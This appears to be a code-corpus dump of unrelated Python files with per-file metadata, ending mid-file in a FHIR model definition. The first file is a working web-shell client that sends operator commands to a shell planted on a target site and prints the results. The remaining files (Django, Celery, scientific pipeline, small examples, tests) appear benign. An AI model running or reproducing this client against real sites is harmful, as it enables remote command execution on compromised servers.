#!usr/bin/env python3 import os import requests os.system("clear") print(""" ▒█▀▀█ █▀▀█ ▒█▀▀▄ ░░ ▒█▀▀▀ ▒█░░▒█ █▀▀█ ▒█▄▄▀ ░░▀▄ ▒█░▒█ ▀▀ ▒█▀▀▀ ▒█▄▄▄█ ░░▀▄ ▒█░▒█ █▄▄█ ▒█▄▄▀ ░░ ▒█▄▄▄ ░░▒█░░ █▄▄█""") print("<---------Coded By Copycat---------->") print("") url = input("[+] Site Name: ") shell_name = input("[+] Shell Name: ") while True: try: cmd_shell= "?a=" cmd = input("$ ") payload = (url + "/" +shell_name + cmd_shell + cmd) r = requests.get(payload) r.raise_for_status() print(r.text) if cmd =="exit": exit() except: print("[!] Something Went Wrong!!") exit()
21.933333
59
0.416413
0
0
0
0
0
0
0
0
456
0.540284
d55cda12da93006ace57b91df18f253f81460e74
460
py
Python
organization/job_urls.py
opendream/asip
20583aca6393102d425401d55ea32ac6b78be048
[ "MIT" ]
null
null
null
organization/job_urls.py
opendream/asip
20583aca6393102d425401d55ea32ac6b78be048
[ "MIT" ]
8
2020-03-24T17:11:49.000Z
2022-01-13T01:18:11.000Z
organization/job_urls.py
opendream/asip
20583aca6393102d425401d55ea32ac6b78be048
[ "MIT" ]
null
null
null
from django.conf.urls import url, patterns urlpatterns = patterns('organization.views', url(r'^organization/(?P<organization_id>\d+)/job/create/$', 'job_create', name='job_create'), url(r'^job/create/$', 'job_create_standalone', name='job_create_standalone'), url(r'^job/(?P<job_id>\d+)/edit/$', 'job_edit', name='job_edit'), url(r'^job/(?P<job_id>\d+)/$', 'job_detail', name='job_detail'), url(r'^job/$', 'job_list', name='job_list'), )
41.818182
97
0.654348
0
0
0
0
0
0
0
0
288
0.626087
d55d9b1686825eb1a58575cb08bd3504ed4c5ca6
337
py
Python
awards/tasks.py
fgmacedo/django-awards
a5307a96f8d39abdd466eb854049dd0f7b13eaee
[ "MIT" ]
null
null
null
awards/tasks.py
fgmacedo/django-awards
a5307a96f8d39abdd466eb854049dd0f7b13eaee
[ "MIT" ]
305
2017-05-16T17:45:58.000Z
2022-03-18T07:20:22.000Z
awards/tasks.py
fgmacedo/django-awards
a5307a96f8d39abdd466eb854049dd0f7b13eaee
[ "MIT" ]
null
null
null
from celery.task import Task from ..notifications.contextmanagers import BatchNotifications class AsyncBadgeAward(Task): ignore_result = True def run(self, badge, state, **kwargs): # from celery.contrib import rdb; rdb.set_trace() with BatchNotifications(): badge.actually_possibly_award(**state)
25.923077
62
0.712166
241
0.715134
0
0
0
0
0
0
49
0.145401
d55e1d50fdcd5b0ae9b87802278f9d5ea632048b
5,128
py
Python
py/desispec/pipeline/tasks/psfnight.py
echaussidon/desispec
8a8bd59653861509dd630ffc8e1cd6c67f6cdd51
[ "BSD-3-Clause" ]
24
2015-09-29T06:06:29.000Z
2022-01-14T07:31:45.000Z
py/desispec/pipeline/tasks/psfnight.py
echaussidon/desispec
8a8bd59653861509dd630ffc8e1cd6c67f6cdd51
[ "BSD-3-Clause" ]
1,452
2015-02-26T00:14:23.000Z
2022-03-31T23:35:10.000Z
py/desispec/pipeline/tasks/psfnight.py
echaussidon/desispec
8a8bd59653861509dd630ffc8e1cd6c67f6cdd51
[ "BSD-3-Clause" ]
25
2015-02-06T21:39:13.000Z
2022-02-22T14:16:31.000Z
# # See top-level LICENSE.rst file for Copyright information # # -*- coding: utf-8 -*- from __future__ import absolute_import, division, print_function from collections import OrderedDict from ..defs import (task_name_sep, task_state_to_int, task_int_to_state) from ...util import option_list from ...io import findfile from .base import (BaseTask, task_classes) from desiutil.log import get_logger import sys,re,os,glob import numpy as np # NOTE: only one class in this file should have a name that starts with "Task". class TaskPSFNight(BaseTask): """Class containing the properties of one PSF combined night task. """ def __init__(self): super(TaskPSFNight, self).__init__() # then put int the specifics of this class # _cols must have a state self._type = "psfnight" self._cols = [ "night", "band", "spec", "state" ] self._coltypes = [ "integer", "text", "integer", "integer" ] # _name_fields must also be in _cols self._name_fields = ["night","band","spec"] self._name_formats = ["08d","s","d"] def _paths(self, name): """See BaseTask.paths. """ props = self.name_split(name) camera = "{}{}".format(props["band"], props["spec"]) return [ findfile("psfnight", night=props["night"], camera=camera, groupname=None, nside=None, band=props["band"], spectrograph=props["spec"]) ] def _deps(self, name, db, inputs): """See BaseTask.deps. """ return dict() def _run_max_procs(self): # This is a serial task. return 1 def _run_time(self, name, procs, db): # Run time on one proc on machine with scale factor == 1.0 return 2.0 def _run_defaults(self): """See BaseTask.run_defaults. """ return {} def _option_dict(self, name, opts): """Build the full list of options. This includes appending the filenames and incorporating runtime options. """ from .base import task_classes, task_type options = OrderedDict() options["output"] = self.paths(name)[0] # look for psf for this night on disk options["input"] = [] props = self.name_split(name) camera = "{}{}".format(props["band"], props["spec"]) dummy_expid = 99999999 template_input = findfile("psf", night=props["night"], expid=dummy_expid, camera=camera, band=props["band"], spectrograph=props["spec"]) template_input = template_input.replace("{:08d}".format(dummy_expid),"????????") options["input"] = glob.glob(template_input) return options def _option_list(self, name, opts): """Build the full list of options. This includes appending the filenames and incorporating runtime options. """ return option_list(self._option_dict(name,opts)) def _run_cli(self, name, opts, procs, db): """See BaseTask.run_cli. """ optlist = self._option_list(name, opts) com = "# command line for psfnight not implemented" return com def _run(self, name, opts, comm, db): """See BaseTask.run. """ from ...scripts import specex optdict = self._option_dict(name, opts) specex.mean_psf(optdict["input"], optdict["output"]) return def getready(self, db, name, cur): """Checks whether dependencies are ready""" log = get_logger() # look for the state of psf with same night,band,spectro props = self.name_split(name) cmd = "select state from psf where night={} and band='{}' and spec={}".format(props["night"],props["band"],props["spec"]) cur.execute(cmd) states = np.array([ x for (x,) in cur.fetchall() ]) log.debug("states={}".format(states)) # psfnight ready if all psf from the night have been processed, and at least one is done (failures are allowed) n_done = np.sum(states==task_state_to_int["done"]) n_failed = np.sum(states==task_state_to_int["failed"]) ready = (n_done > 0) & ( (n_done + n_failed) == states.size ) if ready : self.state_set(db=db,name=name,state="ready",cur=cur) def postprocessing(self, db, name, cur): """For successful runs, postprocessing on DB""" # run getready for all extraction with same night,band,spec props = self.name_split(name) log = get_logger() tt = "traceshift" cmd = "select name from {} where night={} and band='{}' and spec={} and state=0".format(tt,props["night"],props["band"],props["spec"]) cur.execute(cmd) tasks = [ x for (x,) in cur.fetchall() ] log.debug("checking {}".format(tasks)) for task in tasks : task_classes[tt].getready( db=db,name=task,cur=cur)
32.66242
142
0.582878
4,596
0.896256
0
0
0
0
0
0
1,743
0.339899
d55eab7fd5f16ed25a0e81651ee54d23764c963e
150
py
Python
octopus/config/NEO_EXPLORER.py
ZarvisD/octopus
3e238721fccfec69a69a1635b8a0dc485e525e69
[ "MIT" ]
2
2019-01-19T07:12:02.000Z
2021-08-14T13:23:37.000Z
octopus/config/NEO_EXPLORER.py
ZarvisD/octopus
3e238721fccfec69a69a1635b8a0dc485e525e69
[ "MIT" ]
null
null
null
octopus/config/NEO_EXPLORER.py
ZarvisD/octopus
3e238721fccfec69a69a1635b8a0dc485e525e69
[ "MIT" ]
1
2019-01-19T07:12:05.000Z
2019-01-19T07:12:05.000Z
NEO_HOST = "seed3.neo.org" MAINNET_HTTP_RPC_PORT = 10332 MAINNET_HTTPS_RPC_PORT = 10331 TESTNET_HTTP_RPC_PORT = 20332 TESTNET_HTTPS_RPC_PORT = 20331
21.428571
30
0.833333
0
0
0
0
0
0
0
0
15
0.1
d55ecdd36992a28fb470a18a8005d9df4ba25380
1,141
py
Python
Project_Euler/10_sum_primes_2000000/find_sum.py
perlygatekeeper/glowing-robot
7ef5eb089f552a1de309092606c95e805e6723a0
[ "Artistic-2.0" ]
2
2015-06-05T15:40:06.000Z
2020-03-19T17:08:37.000Z
Project_Euler/10_sum_primes_2000000/find_sum.py
perlygatekeeper/glowing-robot
7ef5eb089f552a1de309092606c95e805e6723a0
[ "Artistic-2.0" ]
null
null
null
Project_Euler/10_sum_primes_2000000/find_sum.py
perlygatekeeper/glowing-robot
7ef5eb089f552a1de309092606c95e805e6723a0
[ "Artistic-2.0" ]
null
null
null
#!/opt/local/bin/python import timeit import time import sys def sieveOfSundaram(n=1000): # this version returns a dictionary for quick lookup of primes <= n # this version returns a list for easy identification of nth prime k = int(( n - 2 ) / 2 ) a = [0] * ( k + 1 ) # primes = {} primes = [] the_sum = 0 for i in range( 1, k + 1): # if i%1000000 == 0: # print("one million processed") j = i while(( i + j + 2 * i * j ) <= k): a[ i + j + 2 * i * j ] = 1 j+=1 sequence = 0 if n > 2: # primes[2] = sequence primes.append(2) the_sum += 2 for i in range(1, k + 1): if a[i] == 0: sequence += 1 # primes[2+i+1] = sequence primes.append( (2*i + 1 )) the_sum += (2*i + 1) return ( the_sum, primes ) limit = 2000000 print("Finding sum of primes below %d" % (limit)) start_time = timeit.default_timer() (the_sum, primes) = sieveOfSundaram(limit) print("the sum is %d" % ( the_sum ) ) # primes list indexed starting with 0 print(timeit.default_timer() - start_time)
27.166667
75
0.534619
0
0
0
0
0
0
0
0
387
0.339176
d561a4358751853a43b858854e0ddacafff4f534
1,895
py
Python
public/images/articles/automate-your-style/graph.py
twolfson/twolfson.com
f7a76784f97e1bac3fe2e09815f2b5d76dda3239
[ "MIT" ]
10
2015-01-08T15:36:18.000Z
2020-09-26T13:46:32.000Z
public/images/articles/automate-your-style/graph.py
twolfson/twolfson.com
f7a76784f97e1bac3fe2e09815f2b5d76dda3239
[ "MIT" ]
14
2015-09-28T08:25:07.000Z
2016-11-02T06:21:34.000Z
public/images/articles/automate-your-style/graph.py
twolfson/twolfson.com
f7a76784f97e1bac3fe2e09815f2b5d76dda3239
[ "MIT" ]
3
2016-01-16T15:56:20.000Z
2017-07-23T12:58:39.000Z
# Load in our dependencies # Forking from http://matplotlib.org/xkcd/examples/showcase/xkcd.html from matplotlib import pyplot import numpy """ Comments on PRs about style 20 | --------\ | | | | | | | | 1 | \--\ 0 | ------- ----------------------- | Introduction of `jscs` Time """ def main(): """Generate and save an image as per the docstring above""" # Define our style as XKCD pyplot.xkcd() # Start a new graph dpi = 72 fig = pyplot.figure(1, figsize=(600 / dpi, 400 / dpi)) # Add labels and a title pyplot.xlabel('Time') pyplot.title('Comments on PRs about style') # Define our axes and limits # http://matplotlib.org/xkcd/api/pyplot_api.html#matplotlib.pyplot.subplot ax = fig.add_subplot(1, 1, 1) # cols, rows, plot number ax.spines['right'].set_color('none') ax.spines['top'].set_color('none') pyplot.xticks([]) pyplot.yticks([0, 20]) ax.set_ylim([-1, 25]) # Hide right side of ticks # http://stackoverflow.com/questions/9051494/customizing-just-one-side-of-tick-marks-in-matplotlib-using-spines # http://matplotlib.org/api/axis_api.html ax.yaxis.set_ticks_position('none') # Generate 100 nodes for our graph and draw them # http://wiki.scipy.org/Numpy_Example_List#fill data = numpy.zeros(100) data.fill(20) inflection_point = 50 data[inflection_point:inflection_point+10] = numpy.arange(20, 0, -2) data[inflection_point+10:] = numpy.zeros(100 - (inflection_point + 10)) pyplot.plot(data) # Add our annotation pyplot.annotate( 'Introduction of `jscs`', xy=(inflection_point, 20), arrowprops=dict(arrowstyle='->'), xytext=(10, 15)) # Save the image pyplot.savefig('graph.png', dpi=dpi) if __name__ == '__main__': main()
27.071429
115
0.608443
0
0
0
0
0
0
0
0
1,017
0.536675
d56289df74f4674cf5abeb1309158e1e0a013342
457
py
Python
class1/class_1_yaml.py
daveg999/Automation_class
d23652ecae56b790684971dda6e85a1d2367e22b
[ "Apache-2.0" ]
null
null
null
class1/class_1_yaml.py
daveg999/Automation_class
d23652ecae56b790684971dda6e85a1d2367e22b
[ "Apache-2.0" ]
null
null
null
class1/class_1_yaml.py
daveg999/Automation_class
d23652ecae56b790684971dda6e85a1d2367e22b
[ "Apache-2.0" ]
null
null
null
import yaml import json yaml_list = range(5) yaml_list.append('string1') yaml_list.append('string2') yaml_list.append({}) yaml_list[-1] {} yaml_list[-1]['critter1'] = 'hedgehog' yaml_list[-1]['critter2'] = 'bunny' yaml_list[-1]['dungeon_levels'] = range(5) yaml_list.append('list_end') with open("class1_list.yml", "w") as f: f.write(yaml.dump(yaml_list, default_flow_style=False)) with open("class1_list.json", "w") as f: json.dump(yaml_list, f)
21.761905
57
0.706783
0
0
0
0
0
0
0
0
122
0.266958
d564cb51b33bc55213dfe9dbf9c99c0386c1608f
402
py
Python
ch05/first.n.squares.manual.method.py
ibiscum/Learn-Python-Programming-Third-Edition
c8e0061e97b16c9b55250cc720a8bc7613cb6cca
[ "MIT" ]
null
null
null
ch05/first.n.squares.manual.method.py
ibiscum/Learn-Python-Programming-Third-Edition
c8e0061e97b16c9b55250cc720a8bc7613cb6cca
[ "MIT" ]
null
null
null
ch05/first.n.squares.manual.method.py
ibiscum/Learn-Python-Programming-Third-Edition
c8e0061e97b16c9b55250cc720a8bc7613cb6cca
[ "MIT" ]
null
null
null
# first.n.squares.manual.method.py def get_squares_gen(n): for x in range(n): yield x ** 2 squares = get_squares_gen(3) print(squares.__next__()) # prints: 0 print(squares.__next__()) # prints: 1 print(squares.__next__()) # prints: 4 # the following raises StopIteration, the generator is exhausted, # any further call to next will keep raising StopIteration print(squares.__next__())
28.714286
65
0.723881
0
0
67
0.166667
0
0
0
0
190
0.472637
d5675b3789a7238a94e6d0ec1c781776af8848b8
3,737
py
Python
products/admin.py
silver-whale-enterprises-llc/amzproduzer
25e63f64b0ef09241475c72af9a710dcb7d9e926
[ "Apache-2.0" ]
1
2019-07-22T14:03:11.000Z
2019-07-22T14:03:11.000Z
products/admin.py
silver-whale-enterprises-llc/amzproduzer
25e63f64b0ef09241475c72af9a710dcb7d9e926
[ "Apache-2.0" ]
null
null
null
products/admin.py
silver-whale-enterprises-llc/amzproduzer
25e63f64b0ef09241475c72af9a710dcb7d9e926
[ "Apache-2.0" ]
null
null
null
import csv from django.contrib import admin from django.forms import ModelForm from django.http import HttpRequest from products.models import AmazonCategory, AmazonProductListing from products.tasks import process_inventory_upload from products.utils import find_price_col_index, save_status, find_identifier_col_index, create_or_update_product from .models import Supplier, Product, InventoryUpload class InventoryUploadAdmin(admin.ModelAdmin): list_display = ('id', 'file', 'supplier', 'total_products', 'progress', 'status', 'failed_analysis_reason') fieldsets = [ (None, {'fields': ['supplier', 'file']}), ('File Info', {'fields': ['price_col', 'identifier_col', 'identifier_type']}), ] def progress(self, instance: InventoryUpload): return instance.progress def save_model(self, request: HttpRequest, obj: InventoryUpload, form: ModelForm, change: bool): super().save_model(request, obj, form, change) if change: return try: with open(obj.file.name, "r") as read_file: reader = csv.reader(read_file, delimiter=',') header = next(reader) price_col = find_price_col_index(obj, header) if price_col < 0 or price_col >= len(header): save_status(obj, InventoryUpload.FAILED, f'Price column value "{obj.price_col}" not found in file!') return identifier_col = find_identifier_col_index(obj, header) if identifier_col < 0 or identifier_col >= len(header): save_status(obj, InventoryUpload.FAILED, f'Identifier column value "{obj.identifier_col}" not found in file!') return for line_no, line in enumerate(list(reader)): if line_no == 0: pass # skip header create_or_update_product(obj, line, price_col, identifier_col) obj.total_products = obj.products.all().count() if obj.total_products <= 1: save_status(obj, InventoryUpload.FAILED, 'File is empty. No products found!') else: obj.save() except Exception as e: save_status(obj, InventoryUpload.FAILED, str(e)) process_inventory_upload.delay(obj.id) class ProductAdmin(admin.ModelAdmin): list_display = ( 'upc', 'name', 'supplier', 'status', 'failed_analysis_reason' ) list_filter = ('supplier__name', 'status') class AmazonProductListingAdmin(admin.ModelAdmin): list_display = ( 'asin', 'name', 'profit', 'roi', 'three_month_supply_cost', 'three_month_supply_amount', 'sales_estimate_current', 'review_count', 'sold_by_amazon', 'total_cost', 'buy_box', 'buy_box_avg90', 'buy_box_min', 'buy_box_max', 'fba_sellers_count', 'review_count_last30', 'review_count_avg90', 'sales_rank', 'sales_rank_avg90', 'root_category', ) list_filter = ('sold_by_amazon',) class AmazonCategoryAdmin(admin.ModelAdmin): list_display = ( 'name', 'category_id', 'products_count', 'highest_rank', ) list_filter = ('sales_rank__name',) admin.site.register(Supplier) admin.site.register(Product, ProductAdmin) admin.site.register(InventoryUpload, InventoryUploadAdmin) admin.site.register(AmazonCategory, AmazonCategoryAdmin) admin.site.register(AmazonProductListing, AmazonProductListingAdmin)
32.780702
113
0.613059
3,062
0.819374
0
0
0
0
0
0
803
0.214878
d56a6b6cc928e92831ff43c629863b6b344a0193
614
py
Python
examples/bintree.py
jdrprod/Pym-s
e68dfb840bd36fe60cda02de3b96762e9138071a
[ "MIT" ]
3
2019-08-16T20:54:09.000Z
2020-04-26T02:43:57.000Z
examples/bintree.py
jdrprod/Pym-s
e68dfb840bd36fe60cda02de3b96762e9138071a
[ "MIT" ]
null
null
null
examples/bintree.py
jdrprod/Pym-s
e68dfb840bd36fe60cda02de3b96762e9138071a
[ "MIT" ]
null
null
null
class binary_tree: def __init__(self): pass class Node(binary_tree): __field_0 : int __field_1 : binary_tree __field_2 : binary_tree def __init__(self, arg_0 : int , arg_1 : binary_tree , arg_2 : binary_tree ): self.__field_0 = arg_0 self.__field_1 = arg_1 self.__field_2 = arg_2 def __iter__(self): yield self.__field_0 yield self.__field_1 yield self.__field_2 class Leaf(binary_tree): __field_0 : int def __init__(self, arg_0 : int ): self.__field_0 = arg_0 def __iter__(self): yield self.__field_0
24.56
81
0.636808
608
0.990228
154
0.250814
0
0
0
0
0
0
d56af4bb09c9819923a740a48a9336b6c5056a35
42
py
Python
python_module/sirius/utils/exceptions.py
mtaillefumier/SIRIUS
50ec1c202c019113c5660f1966b170dec9dfd4d4
[ "BSD-2-Clause" ]
77
2016-03-18T08:38:30.000Z
2022-03-11T14:06:25.000Z
python_module/sirius/utils/exceptions.py
simonpintarelli/SIRIUS
f4b5c4810af2a3ea1e67992d65750535227da84b
[ "BSD-2-Clause" ]
240
2016-04-12T16:39:11.000Z
2022-03-31T08:46:12.000Z
python_module/sirius/utils/exceptions.py
simonpintarelli/SIRIUS
f4b5c4810af2a3ea1e67992d65750535227da84b
[ "BSD-2-Clause" ]
43
2016-03-18T17:45:07.000Z
2022-02-28T05:27:59.000Z
class NotEnoughBands(Exception): pass
14
32
0.761905
41
0.97619
0
0
0
0
0
0
0
0
d56fd836050b26c8b6384555a79574597fcc5e6a
197
py
Python
pyCLI/main.py
tillstud/spotirss
407dbdcc1e625527fec041bd07a19bf4ac456817
[ "MIT" ]
null
null
null
pyCLI/main.py
tillstud/spotirss
407dbdcc1e625527fec041bd07a19bf4ac456817
[ "MIT" ]
null
null
null
pyCLI/main.py
tillstud/spotirss
407dbdcc1e625527fec041bd07a19bf4ac456817
[ "MIT" ]
null
null
null
from pyCLI.config import Config from pyCLI.logging import logger def main(config: Config): print(config.pycli_message) logger.debug("If you enter 'pyCLI -v', you will see this message!")
24.625
71
0.741117
0
0
0
0
0
0
0
0
53
0.269036
d572ea68caef2b7338a29025f406b9ba5ae03a5f
3,164
py
Python
tests/Output/__init__.py
FreekDS/git-ci-analyzer
33e179ea2e569a9df3aefee40b96e5ff6d70da1f
[ "MIT" ]
1
2022-01-16T16:18:59.000Z
2022-01-16T16:18:59.000Z
tests/Output/__init__.py
FreekDS/git-ci-analyzer
33e179ea2e569a9df3aefee40b96e5ff6d70da1f
[ "MIT" ]
null
null
null
tests/Output/__init__.py
FreekDS/git-ci-analyzer
33e179ea2e569a9df3aefee40b96e5ff6d70da1f
[ "MIT" ]
null
null
null
import pytest from analyzer.config import LATE_MERGING, SKIP_FAILING_TESTS, SLOW_BUILD, BROKEN_RELEASE @pytest.fixture(scope='module') def antipattern_data_hd(): """ Happy day antipattern data :return: happy day antipattern data """ return { LATE_MERGING: {}, SKIP_FAILING_TESTS: {}, SLOW_BUILD: {}, BROKEN_RELEASE: {} } @pytest.fixture(scope='module') def late_merging_data_hd(antipattern_data_hd): antipattern_data_hd[LATE_MERGING] = { 'missed activity': { 'branch1': 0, 'branch2': 58748, 'branch3': -1, 'branch4': 1, 'branch5': -20 }, 'branch deviation': { 'branch1': 0, 'branch2': 20, 'branch3': 30, 'branch4': 5, 'branch5': 1000 }, 'unsynced activity': { 'branch1': 0, 'branch2': 20, 'branch3': 30, 'branch4': 5, 'branch5': 1000 }, 'classification': { 'missed activity': { 'medium_severity': ['branch5'], 'high_severity': ['branch2'] }, 'branch deviation': { 'medium_severity': ['branch5'], 'high_severity': ['branch2'] }, 'unsynced activity': { 'medium_severity': ['branch5'], 'high_severity': ['branch2'] } } } return antipattern_data_hd @pytest.fixture(scope='module') def slow_build_hd(antipattern_data_hd): antipattern_data_hd[SLOW_BUILD] = { 'wf1': { 'data': { "2021-03-17T20:05:17Z": 54879.0, "2022-03-17T20:05:17Z": 17.0, None: -1 }, 'tool': "some_tool", 'total avg': 50 }, 'wf2': { 'data': { "2021-03-17T20:05:17Z": 54879.0, "2022-03-17T20:05:17Z": 17.0, }, 'tool': "some_other_tool", 'total avg': 50 } } return antipattern_data_hd @pytest.fixture(scope='module') def broken_release_hd(antipattern_data_hd): antipattern_data_hd[BROKEN_RELEASE] = { 'wf1': { 'data': [ { 'started_at': "2021-03-17T20:05:17Z" }, { 'started_at': "2021-03-17T20:05:45Z" } ], 'tool': 'some_tool' }, 'wf2': { 'data': [ { 'started_at': "2021-03-17T20:05:17Z" }, { 'started_at': "2021-03-17T20:05:45Z" } ], 'tool': 'some_tool' }, 'wf3': {'not-correct': True} } return antipattern_data_hd @pytest.fixture(scope='module') def late_merging_data_some_missing(late_merging_data_hd): del late_merging_data_hd[LATE_MERGING]['classification'] del late_merging_data_hd[LATE_MERGING]['branch deviation'] return late_merging_data_hd
26.366667
88
0.469343
0
0
0
0
3,046
0.962705
0
0
947
0.299305
d574fc52182f76e129c8ec44d9cbcfde16ecf130
513
py
Python
app/apps/taskker/migrations/0013_auto_20200703_1530.py
calinbule/taskker
0dbe5a238c9ca231abd7c9a78931fd0c6523453d
[ "MIT" ]
null
null
null
app/apps/taskker/migrations/0013_auto_20200703_1530.py
calinbule/taskker
0dbe5a238c9ca231abd7c9a78931fd0c6523453d
[ "MIT" ]
3
2021-06-04T23:32:25.000Z
2021-09-22T19:21:20.000Z
app/apps/taskker/migrations/0013_auto_20200703_1530.py
calinbule/taskker
0dbe5a238c9ca231abd7c9a78931fd0c6523453d
[ "MIT" ]
null
null
null
# Generated by Django 3.0.7 on 2020-07-03 15:30 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('taskker', '0012_auto_20200703_1529'), ] operations = [ migrations.AlterField( model_name='task', name='priority', field=models.TextField(choices=[('danger-dark', 'p1'), ('warning-dark', 'p2'), ('info-dark', 'p3'), ('black', 'no priority')], default='no priority', max_length=20), ), ]
27
177
0.594542
420
0.818713
0
0
0
0
0
0
180
0.350877
d57698c6c78a214bdc3e21206cf0cac8e0f389e4
21,498
py
Python
fhir/resources/specimendefinition.py
chgl/fhir.resources
35b22314642640c0b25960ab5b2855e7c51749ef
[ "BSD-3-Clause" ]
null
null
null
fhir/resources/specimendefinition.py
chgl/fhir.resources
35b22314642640c0b25960ab5b2855e7c51749ef
[ "BSD-3-Clause" ]
null
null
null
fhir/resources/specimendefinition.py
chgl/fhir.resources
35b22314642640c0b25960ab5b2855e7c51749ef
[ "BSD-3-Clause" ]
null
null
null
# -*- coding: utf-8 -*- """ Profile: http://hl7.org/fhir/StructureDefinition/SpecimenDefinition Release: R4 Version: 4.0.1 Build ID: 9346c8cc45 Last updated: 2019-11-01T09:29:23.356+11:00 """ import typing from pydantic import Field, root_validator from pydantic.error_wrappers import ErrorWrapper, ValidationError from pydantic.errors import MissingError, NoneIsNotAllowedError from . import backboneelement, domainresource, fhirtypes class SpecimenDefinition(domainresource.DomainResource): """Disclaimer: Any field name ends with ``__ext`` does't part of Resource StructureDefinition, instead used to enable Extensibility feature for FHIR Primitive Data Types. Kind of specimen. A kind of specimen with associated set of requirements. """ resource_type = Field("SpecimenDefinition", const=True) collection: typing.List[fhirtypes.CodeableConceptType] = Field( None, alias="collection", title="Specimen collection procedure", description="The action to be performed for collecting the specimen.", # if property is element of this resource. element_property=True, ) identifier: fhirtypes.IdentifierType = Field( None, alias="identifier", title="Business identifier of a kind of specimen", description="A business identifier associated with the kind of specimen.", # if property is element of this resource. element_property=True, ) patientPreparation: typing.List[fhirtypes.CodeableConceptType] = Field( None, alias="patientPreparation", title="Patient preparation for collection", description="Preparation of the patient for specimen collection.", # if property is element of this resource. element_property=True, ) timeAspect: fhirtypes.String = Field( None, alias="timeAspect", title="Time aspect for collection", description="Time aspect of specimen collection (duration or offset).", # if property is element of this resource. element_property=True, ) timeAspect__ext: fhirtypes.FHIRPrimitiveExtensionType = Field( None, alias="_timeAspect", title="Extension field for ``timeAspect``." ) typeCollected: fhirtypes.CodeableConceptType = Field( None, alias="typeCollected", title="Kind of material to collect", description="The kind of material to be collected.", # if property is element of this resource. element_property=True, ) typeTested: typing.List[fhirtypes.SpecimenDefinitionTypeTestedType] = Field( None, alias="typeTested", title="Specimen in container intended for testing by lab", description=( "Specimen conditioned in a container as expected by the testing " "laboratory." ), # if property is element of this resource. element_property=True, ) class SpecimenDefinitionTypeTested(backboneelement.BackboneElement): """Disclaimer: Any field name ends with ``__ext`` does't part of Resource StructureDefinition, instead used to enable Extensibility feature for FHIR Primitive Data Types. Specimen in container intended for testing by lab. Specimen conditioned in a container as expected by the testing laboratory. """ resource_type = Field("SpecimenDefinitionTypeTested", const=True) container: fhirtypes.SpecimenDefinitionTypeTestedContainerType = Field( None, alias="container", title="The specimen's container", description=None, # if property is element of this resource. element_property=True, ) handling: typing.List[fhirtypes.SpecimenDefinitionTypeTestedHandlingType] = Field( None, alias="handling", title="Specimen handling before testing", description=( "Set of instructions for preservation/transport of the specimen at a " "defined temperature interval, prior the testing process." ), # if property is element of this resource. element_property=True, ) isDerived: bool = Field( None, alias="isDerived", title="Primary or secondary specimen", description="Primary of secondary specimen.", # if property is element of this resource. element_property=True, ) isDerived__ext: fhirtypes.FHIRPrimitiveExtensionType = Field( None, alias="_isDerived", title="Extension field for ``isDerived``." ) preference: fhirtypes.Code = Field( None, alias="preference", title="preferred | alternate", description="The preference for this type of conditioned specimen.", # if property is element of this resource. element_property=True, element_required=True, # note: Enum values can be used in validation, # but use in your own responsibilities, read official FHIR documentation. enum_values=["preferred", "alternate"], ) preference__ext: fhirtypes.FHIRPrimitiveExtensionType = Field( None, alias="_preference", title="Extension field for ``preference``." ) rejectionCriterion: typing.List[fhirtypes.CodeableConceptType] = Field( None, alias="rejectionCriterion", title="Rejection criterion", description=( "Criterion for rejection of the specimen in its container by the " "laboratory." ), # if property is element of this resource. element_property=True, ) requirement: fhirtypes.String = Field( None, alias="requirement", title="Specimen requirements", description=( "Requirements for delivery and special handling of this kind of " "conditioned specimen." ), # if property is element of this resource. element_property=True, ) requirement__ext: fhirtypes.FHIRPrimitiveExtensionType = Field( None, alias="_requirement", title="Extension field for ``requirement``." ) retentionTime: fhirtypes.DurationType = Field( None, alias="retentionTime", title="Specimen retention time", description=( "The usual time that a specimen of this kind is retained after the " "ordered tests are completed, for the purpose of additional testing." ), # if property is element of this resource. element_property=True, ) type: fhirtypes.CodeableConceptType = Field( None, alias="type", title="Type of intended specimen", description="The kind of specimen conditioned for testing expected by lab.", # if property is element of this resource. element_property=True, ) @root_validator(pre=True, allow_reuse=True) def validate_required_primitive_elements_3071( cls, values: typing.Dict[str, typing.Any] ) -> typing.Dict[str, typing.Any]: """https://www.hl7.org/fhir/extensibility.html#Special-Case In some cases, implementers might find that they do not have appropriate data for an element with minimum cardinality = 1. In this case, the element must be present, but unless the resource or a profile on it has made the actual value of the primitive data type mandatory, it is possible to provide an extension that explains why the primitive value is not present. """ required_fields = [("preference", "preference__ext")] _missing = object() def _fallback(): return "" errors: typing.List["ErrorWrapper"] = [] for name, ext in required_fields: field = cls.__fields__[name] ext_field = cls.__fields__[ext] value = values.get(field.alias, _missing) if value not in (_missing, None): continue ext_value = values.get(ext_field.alias, _missing) missing_ext = True if ext_value not in (_missing, None): if isinstance(ext_value, dict): missing_ext = len(ext_value.get("extension", [])) == 0 elif ( getattr(ext_value.__class__, "get_resource_type", _fallback)() == "FHIRPrimitiveExtension" ): if ext_value.extension and len(ext_value.extension) > 0: missing_ext = False else: validate_pass = True for validator in ext_field.type_.__get_validators__(): try: ext_value = validator(v=ext_value) except ValidationError as exc: errors.append(ErrorWrapper(exc, loc=ext_field.alias)) validate_pass = False if not validate_pass: continue if ext_value.extension and len(ext_value.extension) > 0: missing_ext = False if missing_ext: if value is _missing: errors.append(ErrorWrapper(MissingError(), loc=field.alias)) else: errors.append( ErrorWrapper(NoneIsNotAllowedError(), loc=field.alias) ) if len(errors) > 0: raise ValidationError(errors, cls) # type: ignore return values class SpecimenDefinitionTypeTestedContainer(backboneelement.BackboneElement): """Disclaimer: Any field name ends with ``__ext`` does't part of Resource StructureDefinition, instead used to enable Extensibility feature for FHIR Primitive Data Types. The specimen's container. """ resource_type = Field("SpecimenDefinitionTypeTestedContainer", const=True) additive: typing.List[ fhirtypes.SpecimenDefinitionTypeTestedContainerAdditiveType ] = Field( None, alias="additive", title="Additive associated with container", description=( "Substance introduced in the kind of container to preserve, maintain or" " enhance the specimen. Examples: Formalin, Citrate, EDTA." ), # if property is element of this resource. element_property=True, ) cap: fhirtypes.CodeableConceptType = Field( None, alias="cap", title="Color of container cap", description=None, # if property is element of this resource. element_property=True, ) capacity: fhirtypes.QuantityType = Field( None, alias="capacity", title="Container capacity", description="The capacity (volume or other measure) of this kind of container.", # if property is element of this resource. element_property=True, ) description: fhirtypes.String = Field( None, alias="description", title="Container description", description="The textual description of the kind of container.", # if property is element of this resource. element_property=True, ) description__ext: fhirtypes.FHIRPrimitiveExtensionType = Field( None, alias="_description", title="Extension field for ``description``." ) material: fhirtypes.CodeableConceptType = Field( None, 